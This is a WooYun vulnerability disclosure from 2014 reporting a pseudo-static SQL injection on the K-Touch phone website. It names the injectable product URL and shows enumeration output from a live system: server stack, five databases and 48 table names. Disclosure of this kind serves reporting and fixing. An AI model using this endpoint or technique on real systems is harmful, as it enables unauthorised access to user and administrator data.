天宇手机官网伪静态SQL注入漏洞

漏洞详情

披露状态:

2014-03-14: 积极联系厂商并且等待厂商认领中,细节不对外公开
2014-04-28: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

天宇手机官网伪静态注入 库 表 未脱裤

详细说明:

测试URL http://www.k-touch.cn/product/condetail/prod_id/123.html

web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0
back-end DBMS: MySQL 5.0
available databases [5]:
[*] donglonghai
[*] information_schema
[*] mysql
[*] qiangguo
[*] renshe

current database: 'renshe'


Database: renshe
[48 tables]
+-------------------+
| yan_access |
| yan_ad |
| yan_admin |
| yan_announce |
| yan_answer |
| yan_baoming |
| yan_bjcx |
| yan_bs |
| yan_bscategory |
| yan_bszn |
| yan_bszncategory |
| yan_case |
| yan_casecategory |
| yan_category |
| yan_city |
| yan_cx |
| yan_cxcategory |
| yan_downcategory |
| yan_download |
| yan_gk |
| yan_gkcategory |
| yan_goodscategory |
| yan_guanggao |
| yan_hdjl |
| yan_jgxx |
| yan_jianli |
| yan_link |
| yan_member |
| yan_msg |
| yan_news |
| yan_node |
| yan_one |
| yan_onecategory |
| yan_page |
| yan_province |
| yan_role |
| yan_role_user |
| yan_sound |
| yan_special |
| yan_ticket |
| yan_toupiao |
| yan_type |
| yan_user |
| yan_xwzx |
| yan_xwzxcategory |
| yan_zcfg |
| yan_zxtype |
| yan_zxzx |
+-------------------+



很多敏感表,昨天测试了,未脱裤。

漏洞证明:

见详细说明,目测数据量在几百万以上,顺便求个礼物,国内大企业。

修复方案:

过滤吧。

版权声明:转载请注明来源 diguoji@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝


漏洞评价: